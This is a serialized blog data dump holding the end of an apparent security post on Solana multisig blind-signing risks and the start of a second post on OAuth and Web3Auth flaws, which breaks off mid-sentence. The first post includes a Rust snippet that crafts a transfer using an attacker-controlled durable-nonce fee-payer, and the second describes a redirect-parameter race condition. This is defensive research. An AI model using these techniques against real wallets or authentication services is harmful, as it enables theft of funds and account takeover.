next_durable_nonce",{"type":19,"tag":168,"props":66115,"children":66116},{"style":399},[66117],{"type":24,"value":402},{"type":19,"tag":168,"props":66119,"children":66120},{"style":825},[66121],{"type":24,"value":66122}," DurableNonce",{"type":19,"tag":168,"props":66124,"children":66125},{"style":399},[66126],{"type":24,"value":888},{"type":19,"tag":168,"props":66128,"children":66129},{"style":175},[66130],{"type":24,"value":66131},"from_blockhash",{"type":19,"tag":168,"props":66133,"children":66134},{"style":212},[66135],{"type":24,"value":500},{"type":19,"tag":168,"props":66137,"children":66138},{"style":399},[66139],{"type":24,"value":505},{"type":19,"tag":168,"props":66141,"children":66142},{"style":393},[66143],{"type":24,"value":66144},"last_blockhash",{"type":19,"tag":168,"props":66146,"children":66147},{"style":212},[66148],{"type":24,"value":1249},{"type":19,"tag":20,"props":66150,"children":66151},{},[66152,66154,66159],{"type":24,"value":66153},"This has an important consequence for our threat model. Unlike recent blockhash transactions, durable nonce transactions ",{"type":19,"tag":293,"props":66155,"children":66156},{},[66157],{"type":24,"value":66158},"can",{"type":24,"value":66160}," be saved and reused.",{"type":19,"tag":36,"props":66162,"children":66164},{"id":66163},"threat-model",[66165],{"type":24,"value":66166},"Threat Model",{"type":19,"tag":20,"props":66168,"children":66169},{},[66170],{"type":24,"value":66171},"Let's consider a simplified form of the original question.",{"type":19,"tag":2869,"props":66173,"children":66174},{},[66175,66180,66185],{"type":19,"tag":47,"props":66176,"children":66177},{},[66178],{"type":24,"value":66179},"We have a N/M multisig",{"type":19,"tag":47,"props":66181,"children":66182},{},[66183],{"type":24,"value":66184},"Signers are unable to see what they're signing, both with respect to content and quantity of signatures. This is roughly equivalent to blind signing transactions.",{"type":19,"tag":47,"props":66186,"children":66187},{},[66188],{"type":24,"value":66189},"We can accurately query chain state.",{"type":19,"tag":20,"props":66191,"children":66192},{},[66193],{"type":24,"value":66194},"Can we safely sign transactions?",{"type":19,"tag":20,"props":66196,"children":66197},{},[66198],{"type":24,"value":66199},"One observation is that this problem is very hard to solve with durable nonces. By signing durable nonce transactions, an attacker could collect signatures and replay them at some indeterminite future point.",{"type":19,"tag":20,"props":66201,"children":66202},{},[66203,66205,66211,66213,66220],{"type":24,"value":66204},"Durable nonces require an onchain account, and it's possible to use a ",{"type":19,"tag":27,"props":66206,"children":66208},{"className":66207},[],[66209],{"type":24,"value":66210},"getProgramAccounts",{"type":24,"value":66212}," call to validate if your signer ",{"type":19,"tag":269,"props":66214,"children":66217},{"href":66215,"rel":66216},"https://solana.stackexchange.com/questions/9650/is-there-any-way-to-get-nonce-accounts-of-an-authorized-account",[273],[66218],{"type":24,"value":66219},"has an associated durable nonce",{"type":24,"value":948},{"type":19,"tag":158,"props":66222,"children":66224},{"className":33405,"code":66223,"language":33407,"meta":7,"style":7},"const connection = new Connection(clusterApiUrl('testnet'));\nconst nonceAccounts = await connection.getProgramAccounts(\n // The system program owns all nonce accounts.\n SYSTEM_PROGRAM_ADDRESS,\n {\n filters: [\n {\n // Nonce accounts are exactly 80 bytes long\n dataSize: 80,\n },\n {\n // The authority's 32-byte public key is written\n // into bytes 8-40 of the nonce's account data.\n memcmp: {\n bytes: AUTHORITY_PUBLIC_KEY.toBase58(),\n offset: 8,\n },\n },\n ],\n }\n);\n",[66225],{"type":19,"tag":27,"props":66226,"children":66227},{"__ignoreMap":7},[66228,66275,66311,66319,66331,66339,66351,66359,66367,66384,66391,66398,66406,66414,66426,66452,66469,66476,66483,66491,66498],{"type":19,"tag":168,"props":66229,"children":66230},{"class":170,"line":171},[66231,66235,66240,66244,66248,66253,66257,66262,66266,66271],{"type":19,"tag":168,"props":66232,"children":66233},{"style":382},[66234],{"type":24,"value":7097},{"type":19,"tag":168,"props":66236,"children":66237},{"style":393},[66238],{"type":24,"value":66239}," connection",{"type":19,"tag":168,"props":66241,"children":66242},{"style":399},[66243],{"type":24,"value":402},{"type":19,"tag":168,"props":66245,"children":66246},{"style":382},[66247],{"type":24,"value":29405},{"type":19,"tag":168,"props":66249,"children":66250},{"style":175},[66251],{"type":24,"value":66252}," Connection",{"type":19,"tag":168,"props":66254,"children":66255},{"style":212},[66256],{"type":24,"value":500},{"type":19,"tag":168,"props":66258,"children":66259},{"style":175},[66260],{"type":24,"value":66261},"clusterApiUrl",{"type":19,"tag":168,"props":66263,"children":66264},{"style":212},[66265],{"type":24,"value":500},{"type":19,"tag":168,"props":66267,"children":66268},{"style":181},[66269],{"type":24,"value":66270},"'testnet'",{"type":19,"tag":168,"props":66272,"children":66273},{"style":212},[66274],{"type":24,"value":4659},{"type":19,"tag":168,"props":66276,"children":66277},{"class":170,"line":198},[66278,66282,66287,66291,66295,66299,66303,66307],{"type":19,"tag":168,"props":66279,"children":66280},{"style":382},[66281],{"type":24,"value":7097},{"type":19,"tag":168,"props":66283,"children":66284},{"style":393},[66285],{"type":24,"value":66286}," nonceAccounts",{"type":19,"tag":168,"props":66288,"children":66289},{"style":399},[66290],{"type":24,"value":402},{"type":19,"tag":168,"props":66292,"children":66293},{"style":419},[66294],{"type":24,"value":33686},{"type":19,"tag":168,"props":66296,"children":66297},{"style":393},[66298],{"type":24,"value":66239},{"type":19,"tag":168,"props":66300,"children":66301},{"style":212},[66302],{"type":24,"value":948},{"type":19,"tag":168,"props":66304,"children":66305},{"style":175},[66306],{"type":24,"value":66210},{"type":19,"tag":168,"props":66308,"children":66309},{"style":212},[66310],{"type":24,"value":870},{"type":19,"tag":168,"props":66312,"children":66313},{"class":170,"line":415},[66314],{"type":19,"tag":168,"props":66315,"children":66316},{"style":373},[66317],{"type":24,"value":66318}," // The system program owns all nonce accounts.\n",{"type":19,"tag":168,"props":66320,"children":66321},{"class":170,"line":450},[66322,66327],{"type":19,"tag":168,"props":66323,"children":66324},{"style":393},[66325],{"type":24,"value":66326}," SYSTEM_PROGRAM_ADDRESS",{"type":19,"tag":168,"props":66328,"children":66329},{"style":212},[66330],{"type":24,"value":915},{"type":19,"tag":168,"props":66332,"children":66333},{"class":170,"line":560},[66334],{"type":19,"tag":168,"props":66335,"children":66336},{"style":212},[66337],{"type":24,"value":66338}," {\n",{"type":19,"tag":168,"props":66340,"children":66341},{"class":170,"line":666},[66342,66347],{"type":19,"tag":168,"props":66343,"children":66344},{"style":393},[66345],{"type":24,"value":66346}," filters:",{"type":19,"tag":168,"props":66348,"children":66349},{"style":212},[66350],{"type":24,"value":23089},{"type":19,"tag":168,"props":66352,"children":66353},{"class":170,"line":694},[66354],{"type":19,"tag":168,"props":66355,"children":66356},{"style":212},[66357],{"type":24,"value":66358}," {\n",{"type":19,"tag":168,"props":66360,"children":66361},{"class":170,"line":707},[66362],{"type":19,"tag":168,"props":66363,"children":66364},{"style":373},[66365],{"type":24,"value":66366}," // Nonce accounts are exactly 80 bytes long\n",{"type":19,"tag":168,"props":66368,"children":66369},{"class":170,"line":725},[66370,66375,66380],{"type":19,"tag":168,"props":66371,"children":66372},{"style":393},[66373],{"type":24,"value":66374}," dataSize:",{"type":19,"tag":168,"props":66376,"children":66377},{"style":192},[66378],{"type":24,"value":66379}," 80",{"type":19,"tag":168,"props":66381,"children":66382},{"style":212},[66383],{"type":24,"value":915},{"type":19,"tag":168,"props":66385,"children":66386},{"class":170,"line":746},[66387],{"type":19,"tag":168,"props":66388,"children":66389},{"style":212},[66390],{"type":24,"value":34674},{"type":19,"tag":168,"props":66392,"children":66393},{"class":170,"line":755},[66394],{"type":19,"tag":168,"props":66395,"children":66396},{"style":212},[66397],{"type":24,"value":66358},{"type":19,"tag":168,"props":66399,"children":66400},{"class":170,"line":1008},[66401],{"type":19,"tag":168,"props":66402,"children":66403},{"style":373},[66404],{"type":24,"value":66405}," // The authority's 32-byte public key is written\n",{"type":19,"tag":168,"props":66407,"children":66408},{"class":170,"line":1025},[66409],{"type":19,"tag":168,"props":66410,"children":66411},{"style":373},[66412],{"type":24,"value":66413}," // into bytes 8-40 of the nonce's account data.\n",{"type":19,"tag":168,"props":66415,"children":66416},{"class":170,"line":1042},[66417,66422],{"type":19,"tag":168,"props":66418,"children":66419},{"style":393},[66420],{"type":24,"value":66421}," memcmp:",{"type":19,"tag":168,"props":66423,"children":66424},{"style":212},[66425],{"type":24,"value":691},{"type":19,"tag":168,"props":66427,"children":66428},{"class":170,"line":1055},[66429,66434,66439,66443,66448],{"type":19,"tag":168,"props":66430,"children":66431},{"style":393},[66432],{"type":24,"value":66433}," bytes:",{"type":19,"tag":168,"props":66435,"children":66436},{"style":393},[66437],{"type":24,"value":66438}," AUTHORITY_PUBLIC_KEY",{"type":19,"tag":168,"props":66440,"children":66441},{"style":212},[66442],{"type":24,"value":948},{"type":19,"tag":168,"props":66444,"children":66445},{"style":175},[66446],{"type":24,"value":66447},"toBase58",{"type":19,"tag":168,"props":66449,"children":66450},{"style":212},[66451],{"type":24,"value":898},{"type":19,"tag":168,"props":66453,"children":66454},{"class":170,"line":1064},[66455,66460,66465],{"type":19,"tag":168,"props":66456,"children":66457},{"style":393},[66458],{"type":24,"value":66459}," offset:",{"type":19,"tag":168,"props":66461,"children":66462},{"style":192},[66463],{"type":24,"value":66464}," 8",{"type":19,"tag":168,"props":66466,"children":66467},{"style":212},[66468],{"type":24,"value":915},{"type":19,"tag":168,"props":66470,"children":66471},{"class":170,"line":1087},[66472],{"type":19,"tag":168,"props":66473,"children":66474},{"style":212},[66475],{"type":24,"value":22841},{"type":19,"tag":168,"props":66477,"children":66478},{"class":170,"line":1096},[66479],{"type":19,"tag":168,"props":66480,"children":66481},{"style":212},[66482],{"type":24,"value":34674},{"type":19,"tag":168,"props":66484,"children":66485},{"class":170,"line":1105},[66486],{"type":19,"tag":168,"props":66487,"children":66488},{"style":212},[66489],{"type":24,"value":66490}," ],\n",{"type":19,"tag":168,"props":66492,"children":66493},{"class":170,"line":1174},[66494],{"type":19,"tag":168,"props":66495,"children":66496},{"style":212},[66497],{"type":24,"value":3306},{"type":19,"tag":168,"props":66499,"children":66500},{"class":170,"line":1182},[66501],{"type":19,"tag":168,"props":66502,"children":66503},{"style":212},[66504],{"type":24,"value":1249},{"type":19,"tag":20,"props":66506,"children":66507},{},[66508,66510,66518],{"type":24,"value":66509},"Unfortunately this is not sufficient",{"type":19,"tag":12921,"props":66511,"children":66512},{},[66513],{"type":19,"tag":269,"props":66514,"children":66516},{"href":27094,"ariaDescribedBy":66515,"dataFootnoteRef":7,"id":27096},[12928],[66517],{"type":24,"value":1442},{"type":24,"value":66519},". A transaction may have multiple signers, and an attacker could use their own durable nonce fee-payer. This means our problem as defined above is unfortunately unsolvable.",{"type":19,"tag":158,"props":66521,"children":66523},{"className":363,"code":66522,"language":362,"meta":7,"style":7}," let instruction = system_instruction::transfer(&from, &ledger_base_pubkey, 42);\n let message =\n Message::new_with_nonce(vec![instruction], Some(&evil_nonce_authority), &nonce_account, &evil_nonce_authority)\n .serialize();\n",[66524],{"type":19,"tag":27,"props":66525,"children":66526},{"__ignoreMap":7},[66527,66593,66609,66692],{"type":19,"tag":168,"props":66528,"children":66529},{"class":170,"line":171},[66530,66534,66538,66542,66547,66551,66555,66559,66563,66567,66571,66575,66580,66584,66589],{"type":19,"tag":168,"props":66531,"children":66532},{"style":382},[66533],{"type":24,"value":385},{"type":19,"tag":168,"props":66535,"children":66536},{"style":393},[66537],{"type":24,"value":40848},{"type":19,"tag":168,"props":66539,"children":66540},{"style":399},[66541],{"type":24,"value":402},{"type":19,"tag":168,"props":66543,"children":66544},{"style":212},[66545],{"type":24,"value":66546}," system_instruction",{"type":19,"tag":168,"props":66548,"children":66549},{"style":399},[66550],{"type":24,"value":888},{"type":19,"tag":168,"props":66552,"children":66553},{"style":175},[66554],{"type":24,"value":29595},{"type":19,"tag":168,"props":66556,"children":66557},{"style":212},[66558],{"type":24,"value":500},{"type":19,"tag":168,"props":66560,"children":66561},{"style":399},[66562],{"type":24,"value":505},{"type":19,"tag":168,"props":66564,"children":66565},{"style":393},[66566],{"type":24,"value":16927},{"type":19,"tag":168,"props":66568,"children":66569},{"style":212},[66570],{"type":24,"value":471},{"type":19,"tag":168,"props":66572,"children":66573},{"style":399},[66574],{"type":24,"value":505},{"type":19,"tag":168,"props":66576,"children":66577},{"style":393},[66578],{"type":24,"value":66579},"ledger_base_pubkey",{"type":19,"tag":168,"props":66581,"children":66582},{"style":212},[66583],{"type":24,"value":471},{"type":19,"tag":168,"props":66585,"children":66586},{"style":192},[66587],{"type":24,"value":66588},"42",{"type":19,"tag":168,"props":66590,"children":66591},{"style":212},[66592],{"type":24,"value":1249},{"type":19,"tag":168,"props":66594,"children":66595},{"class":170,"line":198},[66596,66600,66605],{"type":19,"tag":168,"props":66597,"children":66598},{"style":382},[66599],{"type":24,"value":385},{"type":19,"tag":168,"props":66601,"children":66602},{"style":393},[66603],{"type":24,"value":66604}," message",{"type":19,"tag":168,"props":66606,"children":66607},{"style":399},[66608],{"type":24,"value":33330},{"type":19,"tag":168,"props":66610,"children":66611},{"class":170,"line":415},[66612,66617,66621,66626,66630,66634,66638,66642,66646,66650,66654,66658,66663,66667,66671,66676,66680,66684,66688],{"type":19,"tag":168,"props":66613,"children":66614},{"style":825},[66615],{"type":24,"value":66616}," Message",{"type":19,"tag":168,"props":66618,"children":66619},{"style":399},[66620],{"type":24,"value":888},{"type":19,"tag":168,"props":66622,"children":66623},{"style":175},[66624],{"type":24,"value":66625},"new_with_nonce",{"type":19,"tag":168,"props":66627,"children":66628},{"style":212},[66629],{"type":24,"value":500},{"type":19,"tag":168,"props":66631,"children":66632},{"style":175},[66633],{"type":24,"value":1301},{"type":19,"tag":168,"props":66635,"children":66636},{"style":212},[66637],{"type":24,"value":1152},{"type":19,"tag":168,"props":66639,"children":66640},{"style":393},[66641],{"type":24,"value":41158},{"type":19,"tag":168,"props":66643,"children":66644},{"style":212},[66645],{"type":24,"value":20516},{"type":19,"tag":168,"props":66647,"children":66648},{"style":825},[66649],{"type":24,"value":39497},{"type":19,"tag":168,"props":66651,"children":66652},{"style":212},[66653],{"type":24,"value":500},{"type":19,"tag":168,"props":66655,"children":66656},{"style":399},[66657],{"type":24,"value":505},{"type":19,"tag":168,"props":66659,"children":66660},{"style":393},[66661],{"type":24,"value":66662},"evil_nonce_authority",{"type":19,"tag":168,"props":66664,"children":66665},{"style":212},[66666],{"type":24,"value":12624},{"type":19,"tag":168,"props":66668,"children":66669},{"style":399},[66670],{"type":24,"value":505},{"type":19,"tag":168,"props":66672,"children":66673},{"style":393},[66674],{"type":24,"value":66675},"nonce_account",{"type":19,"tag":168,"props":66677,"children":66678},{"style":212},[66679],{"type":24,"value":471},{"type":19,"tag":168,"props":66681,"children":66682},{"style":399},[66683],{"type":24,"value":505},{"type":19,"tag":168,"props":66685,"children":66686},{"style":393},[66687],{"type":24,"value":66662},{"type":19,"tag":168,"props":66689,"children":66690},{"style":212},[66691],{"type":24,"value":557},{"type":19,"tag":168,"props":66693,"children":66694},{"class":170,"line":450},[66695,66699,66704],{"type":19,"tag":168,"props":66696,"children":66697},{"style":399},[66698],{"type":24,"value":566},{"type":19,"tag":168,"props":66700,"children":66701},{"style":175},[66702],{"type":24,"value":66703},"serialize",{"type":19,"tag":168,"props":66705,"children":66706},{"style":212},[66707],{"type":24,"value":1084},{"type":19,"tag":20,"props":66709,"children":66710},{},[66711,66713,66720],{"type":24,"value":66712},"Luckily, it is tractable with a small modification. What if the signer is allowed to observe the fee-payer on the transaction? For example, Ledger ",{"type":19,"tag":269,"props":66714,"children":66717},{"href":66715,"rel":66716},"https://github.com/LedgerHQ/app-solana/blob/a19da6c301541390bd08731a10f1f128b38ee66e/src/handle_sign_message.c#L97",[273],[66718],{"type":24,"value":66719},"logs the fee-payer here",{"type":24,"value":948},{"type":19,"tag":158,"props":66722,"children":66724},{"className":13963,"code":66723,"language":543,"meta":7,"style":7},"bool print_config_show_authority(const PrintConfig* print_config, const Pubkey* authority) {\n return print_config->expert_mode || !pubkeys_equal(print_config->signer_pubkey, authority);\n}\n",[66725],{"type":19,"tag":27,"props":66726,"children":66727},{"__ignoreMap":7},[66728,66787,66843],{"type":19,"tag":168,"props":66729,"children":66730},{"class":170,"line":171},[66731,66735,66740,66744,66748,66753,66757,66762,66766,66770,66774,66778,66783],{"type":19,"tag":168,"props":66732,"children":66733},{"style":382},[66734],{"type":24,"value":27156},{"type":19,"tag":168,"props":66736,"children":66737},{"style":175},[66738],{"type":24,"value":66739}," print_config_show_authority",{"type":19,"tag":168,"props":66741,"children":66742},{"style":212},[66743],{"type":24,"value":500},{"type":19,"tag":168,"props":66745,"children":66746},{"style":382},[66747],{"type":24,"value":7097},{"type":19,"tag":168,"props":66749,"children":66750},{"style":212},[66751],{"type":24,"value":66752}," PrintConfig",{"type":19,"tag":168,"props":66754,"children":66755},{"style":399},[66756],{"type":24,"value":2002},{"type":19,"tag":168,"props":66758,"children":66759},{"style":393},[66760],{"type":24,"value":66761}," print_config",{"type":19,"tag":168,"props":66763,"children":66764},{"style":212},[66765],{"type":24,"value":471},{"type":19,"tag":168,"props":66767,"children":66768},{"style":382},[66769],{"type":24,"value":7097},{"type":19,"tag":168,"props":66771,"children":66772},{"style":212},[66773],{"type":24,"value":18312},{"type":19,"tag":168,"props":66775,"children":66776},{"style":399},[66777],{"type":24,"value":2002},{"type":19,"tag":168,"props":66779,"children":66780},{"style":393},[66781],{"type":24,"value":66782}," authority",{"type":19,"tag":168,"props":66784,"children":66785},{"style":212},[66786],{"type":24,"value":12250},{"type":19,"tag":168,"props":66788,"children":66789},{"class":170,"line":198},[66790,66794,66798,66802,66807,66811,66815,66820,66824,66829,66833,66838],{"type":19,"tag":168,"props":66791,"children":66792},{"style":419},[66793],{"type":24,"value":14438},{"type":19,"tag":168,"props":66795,"children":66796},{"style":393},[66797],{"type":24,"value":66761},{"type":19,"tag":168,"props":66799,"children":66800},{"style":212},[66801],{"type":24,"value":11203},{"type":19,"tag":168,"props":66803,"children":66804},{"style":393},[66805],{"type":24,"value":66806},"expert_mode",{"type":19,"tag":168,"props":66808,"children":66809},{"style":399},[66810],{"type":24,"value":21164},{"type":19,"tag":168,"props":66812,"children":66813},{"style":399},[66814],{"type":24,"value":10309},{"type":19,"tag":168,"props":66816,"children":66817},{"style":175},[66818],{"type":24,"value":66819},"pubkeys_equal",{"type":19,"tag":168,"props":66821,"children":66822},{"style":212},[66823],{"type":24,"value":500},{"type":19,"tag":168,"props":66825,"children":66826},{"style":393},[66827],{"type":24,"value":66828},"print_config",{"type":19,"tag":168,"props":66830,"children":66831},{"style":212},[66832],{"type":24,"value":11203},{"type":19,"tag":168,"props":66834,"children":66835},{"style":393},[66836],{"type":24,"value":66837},"signer_pubkey",{"type":19,"tag":168,"props":66839,"children":66840},{"style":212},[66841],{"type":24,"value":66842},", authority);\n",{"type":19,"tag":168,"props":66844,"children":66845},{"class":170,"line":415},[66846],{"type":19,"tag":168,"props":66847,"children":66848},{"style":212},[66849],{"type":24,"value":1326},{"type":19,"tag":20,"props":66851,"children":66852},{},[66853],{"type":24,"value":66854},"Let's say we've determined our signer has no associated nonce accounts. If our pubkey is the fee-payer on the new proposed transaction, we can know for sure that the transaction does not use durable nonces!",{"type":19,"tag":20,"props":66856,"children":66857},{},[66858],{"type":24,"value":66859},"Without durable nonces, the problem becomes much easier to solve. After waiting enough time, there'll be a point where all previously signed transactions will be expired. If we see no unexpected transactions, that means we're safe.",{"type":19,"tag":20,"props":66861,"children":66862},{},[66863],{"type":24,"value":66864},"We can then use the following procedure.",{"type":19,"tag":2869,"props":66866,"children":66867},{},[66868,66873,66878,66883,66888],{"type":19,"tag":47,"props":66869,"children":66870},{},[66871],{"type":24,"value":66872},"Ensure all signers have no durable nonce accounts.",{"type":19,"tag":47,"props":66874,"children":66875},{},[66876],{"type":24,"value":66877},"The first signer signs and submits the transaction.",{"type":19,"tag":47,"props":66879,"children":66880},{},[66881],{"type":24,"value":66882},"Wait two minutes for all recent blockhashes to expire.",{"type":19,"tag":47,"props":66884,"children":66885},{},[66886],{"type":24,"value":66887},"Observe recent transactions associated with the signer to ensure nothing unexpected is submitted.",{"type":19,"tag":47,"props":66889,"children":66890},{},[66891],{"type":24,"value":66892},"Repeat steps 2 to 4 for each signer",{"type":19,"tag":36,"props":66894,"children":66896},{"id":66895},"beyond",[66897],{"type":24,"value":66898},"Beyond",{"type":19,"tag":20,"props":66900,"children":66901},{},[66902],{"type":24,"value":66903},"Solana's signature model is unique. What can protocols do if they're deploying on blockchains without these unique properties? The most important constraint is observability. There must be a way you can see what you're signing, either while signing or implicitly after the fact.",{"type":19,"tag":20,"props":66905,"children":66906},{},[66907,66909,66916],{"type":24,"value":66908},"For example, pcaversaccio wrote a tool to ",{"type":19,"tag":269,"props":66910,"children":66913},{"href":66911,"rel":66912},"https://github.com/pcaversaccio/safe-tx-hashes-util",[273],[66914],{"type":24,"value":66915},"validate Safe transaction hashes",{"type":24,"value":66917},". As the space matures, we hope more open source tooling will come to light.",{"type":19,"tag":15873,"props":66919,"children":66921},{"className":66920,"dataFootnotes":7},[15876],[66922,66927],{"type":19,"tag":36,"props":66923,"children":66925},{"className":66924,"id":12928},[15881],[66926],{"type":24,"value":15884},{"type":19,"tag":2869,"props":66928,"children":66929},{},[66930],{"type":19,"tag":47,"props":66931,"children":66932},{"id":27837},[66933,66935,66943,66945],{"type":24,"value":66934},"The original version of this blog post did not consider a malicious fee-payer. Thanks to ",{"type":19,"tag":269,"props":66936,"children":66940},{"href":66937,"rel":66938,":style":66939},"https://twitter.com/PierreArowana",[273],"color: #B1D0EE; text-decoration: underline;",[66941],{"type":24,"value":66942},"@PierreArowana",{"type":24,"value":66944}," for pointing this out to me. ",{"type":19,"tag":269,"props":66946,"children":66948},{"href":27865,"ariaLabel":15987,"className":66947,"dataFootnoteBackref":7},[15989],[66949],{"type":24,"value":15992},{"type":19,"tag":232,"props":66951,"children":66952},{},[66953],{"type":24,"value":236},{"title":7,"searchDepth":198,"depth":198,"links":66955},[66956,66960,66961,66962],{"id":65152,"depth":198,"text":65155,"children":66957},[66958,66959],{"id":65163,"depth":415,"text":65166},{"id":65442,"depth":415,"text":65445},{"id":66163,"depth":198,"text":66166},{"id":66895,"depth":198,"text":66898},{"id":12928,"depth":198,"text":15884},"content:blog:2025-02-22-multisig-security.md","blog/2025-02-22-multisig-security.md","blog/2025-02-22-multisig-security",{"_path":66967,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":66968,"description":66969,"date":66970,"author":66971,"image":66972,"isFeatured":14,"onBlogPage":14,"tags":66974,"body":66975,"_type":242,"_id":68673,"_source":244,"_file":68674,"_stem":68675,"_extension":247},"/blog/2025-03-07-subverting-web2-authentication-in-web3","Subverting Web2 Authentication in Web3","Web3 authentication uses cryptographic signatures and wallets, but Web2 auth integrations can introduce hidden risks. We explore vulnerabilities like OAuth logic exploits, Supabase misconfigurations, and OAuth abuse in localhost setups.","2025-03-07",[28673,28672],{"src":66973},"/posts/web2-in-web3/title.jpg",[29613],{"type":16,"children":66976,"toc":68655},[66977,66982,66987,66992,67018,67024,67029,67035,67056,67062,67067,67074,67087,67117,67123,67167,67174,67180,67213,67234,67242,67261,67268,67273,67279,67284,67289,67314,67319,67325,67331,67352,67358,67385,67413,67420,67425,67430,67775,67779,67801,67807,67828,67842,67855,67860,67876,67881,68610,68615,68620,68625,68637,68641,68646,68651],{"type":19,"tag":20,"props":66978,"children":66979},{},[66980],{"type":24,"value":66981},"Authentication serves as a cornerstone of secure interactions in Web3, enabling access control, user identity verification, and transaction integrity. Unlike traditional Web2 systems, which often rely on centralized databases and password-based mechanisms, Web3 systems adopt decentralized identifiers (DIDs), cryptographic signatures, and wallet-based authentication. However, there are many applications that still use Web2-based authentication providers to improve the user experience.",{"type":19,"tag":20,"props":66983,"children":66984},{},[66985],{"type":24,"value":66986},"In our research, we focused on Web3 applications that rely on Web2-based authentication methods. Specifically, we analyzed the authentication flows of these applications and identified a lesser-known class of vulnerabilities.",{"type":19,"tag":20,"props":66988,"children":66989},{},[66990],{"type":24,"value":66991},"In this article, we will discuss three cases we discovered:",{"type":19,"tag":2869,"props":66993,"children":66994},{},[66995,67000,67013],{"type":19,"tag":47,"props":66996,"children":66997},{},[66998],{"type":24,"value":66999},"OAuth Logic Vulnerability on an Authentication Provider",{"type":19,"tag":47,"props":67001,"children":67002},{},[67003,67005,67011],{"type":24,"value":67004},"Supabase ",{"type":19,"tag":27,"props":67006,"children":67008},{"className":67007},[],[67009],{"type":24,"value":67010},"user_metadata",{"type":24,"value":67012}," misconfiguration",{"type":19,"tag":47,"props":67014,"children":67015},{},[67016],{"type":24,"value":67017},"OAuth abuse in localhost development environment",{"type":19,"tag":36,"props":67019,"children":67021},{"id":67020},"abusing-oauth-authentication-logic",[67022],{"type":24,"value":67023},"Abusing OAuth Authentication Logic",{"type":19,"tag":20,"props":67025,"children":67026},{},[67027],{"type":24,"value":67028},"During our research, we initially identified some bugs in applications. However, these were mostly simple and well-known issues, so we decided to focus on vulnerabilities within authentication providers themselves.",{"type":19,"tag":7050,"props":67030,"children":67032},{"id":67031},"web3auth-introduction",[67033],{"type":24,"value":67034},"Web3Auth Introduction",{"type":19,"tag":20,"props":67036,"children":67037},{},[67038,67045,67047,67054],{"type":19,"tag":269,"props":67039,"children":67042},{"href":67040,"rel":67041},"https://web3auth.io/",[273],[67043],{"type":24,"value":67044},"Web3Auth",{"type":24,"value":67046}," is a tool designed to simplify the login process for Web3 applications, eliminating the need for users to manage complex wallet setups or memorize lengthy passwords. One of its products, Web3Auth PnP (Plug and Play), supports ",{"type":19,"tag":269,"props":67048,"children":67051},{"href":67049,"rel":67050},"https://oauth.net/2/",[273],[67052],{"type":24,"value":67053},"OAuth2",{"type":24,"value":67055}," authentication using Google. The product employs a sophisticated authentication flow and infrastructure to maintain seamless integration with dApps.",{"type":19,"tag":7050,"props":67057,"children":67059},{"id":67058},"web3auth-authentication-flow",[67060],{"type":24,"value":67061},"Web3Auth Authentication flow",{"type":19,"tag":20,"props":67063,"children":67064},{},[67065],{"type":24,"value":67066},"The Web3Auth PnP authentication flow involves a web session server that stores authentication parameters and configurations. Below is a diagram illustrating how the authentication process works:",{"type":19,"tag":20,"props":67068,"children":67069},{},[67070],{"type":19,"tag":1344,"props":67071,"children":67073},{"alt":48061,"src":67072},"/posts/web2-in-web3/auth-flow.png",[],{"type":19,"tag":20,"props":67075,"children":67076},{},[67077,67079,67085],{"type":24,"value":67078},"After the final redirect back to the dApp, the application can use the secret token to authenticate with the service identified by the ",{"type":19,"tag":27,"props":67080,"children":67082},{"className":67081},[],[67083],{"type":24,"value":67084},"client_id",{"type":24,"value":67086},". This design ensures that you cannot use the token to authenticate against any unauthorized application.",{"type":19,"tag":20,"props":67088,"children":67089},{},[67090,67092,67098,67100,67106,67108,67115],{"type":24,"value":67091},"Additionally, it is important to note that each dApp has a whitelist of redirect URLs. The ",{"type":19,"tag":27,"props":67093,"children":67095},{"className":67094},[],[67096],{"type":24,"value":67097},"/start",{"type":24,"value":67099}," validates the ",{"type":19,"tag":27,"props":67101,"children":67103},{"className":67102},[],[67104],{"type":24,"value":67105},"redirect_url",{"type":24,"value":67107}," against the configured ",{"type":19,"tag":269,"props":67109,"children":67112},{"href":67110,"rel":67111},"https://web3auth.io/docs/dashboard-setup/whitelisting",[273],[67113],{"type":24,"value":67114},"whitelist",{"type":24,"value":67116}," to ensure it matches one of the allowed URLs.",{"type":19,"tag":7050,"props":67118,"children":67120},{"id":67119},"in-transit-cryptography",[67121],{"type":24,"value":67122},"In-transit Cryptography",{"type":19,"tag":20,"props":67124,"children":67125},{},[67126,67128,67135,67137,67143,67145,67151,67153,67158,67160,67165],{"type":24,"value":67127},"The session server employs cryptography to securely send and receive authentication parameters. The ",{"type":19,"tag":269,"props":67129,"children":67132},{"href":67130,"rel":67131},"https://en.wikipedia.org/wiki/Key_(cryptography)",[273],[67133],{"type":24,"value":67134},"cryptographic key",{"type":24,"value":67136}," is derived from the ",{"type":19,"tag":27,"props":67138,"children":67140},{"className":67139},[],[67141],{"type":24,"value":67142},"sessionId",{"type":24,"value":67144}," sent in the ",{"type":19,"tag":27,"props":67146,"children":67148},{"className":67147},[],[67149],{"type":24,"value":67150},"GET",{"type":24,"value":67152}," parameter to the ",{"type":19,"tag":27,"props":67154,"children":67156},{"className":67155},[],[67157],{"type":24,"value":67097},{"type":24,"value":67159},". Since the ",{"type":19,"tag":27,"props":67161,"children":67163},{"className":67162},[],[67164],{"type":24,"value":67142},{"type":24,"value":67166}," can be controlled, it allows us to send and receive data from the session server.",{"type":19,"tag":20,"props":67168,"children":67169},{},[67170],{"type":19,"tag":1344,"props":67171,"children":67173},{"alt":48061,"src":67172},"/posts/web2-in-web3/image-2.png",[],{"type":19,"tag":7050,"props":67175,"children":67177},{"id":67176},"race-condition",[67178],{"type":24,"value":67179},"Race Condition",{"type":19,"tag":20,"props":67181,"children":67182},{},[67183,67185,67190,67192,67198,67200,67205,67207,67212],{"type":24,"value":67184},"As shown in the diagram, the configuration data from the session server is validated only during the ",{"type":19,"tag":27,"props":67186,"children":67188},{"className":67187},[],[67189],{"type":24,"value":67097},{"type":24,"value":67191}," and later used in the ",{"type":19,"tag":27,"props":67193,"children":67195},{"className":67194},[],[67196],{"type":24,"value":67197},"/end",{"type":24,"value":67199}," enpoint. This introduces a potential race condition that can be exploited if an attacker manages to modify the parameters after validation (",{"type":19,"tag":27,"props":67201,"children":67203},{"className":67202},[],[67204],{"type":24,"value":67097},{"type":24,"value":67206},") but before use (",{"type":19,"tag":27,"props":67208,"children":67210},{"className":67209},[],[67211],{"type":24,"value":67197},{"type":24,"value":18197},{"type":19,"tag":20,"props":67214,"children":67215},{},[67216,67218,67225,67227,67232],{"type":24,"value":67217},"To exploit this 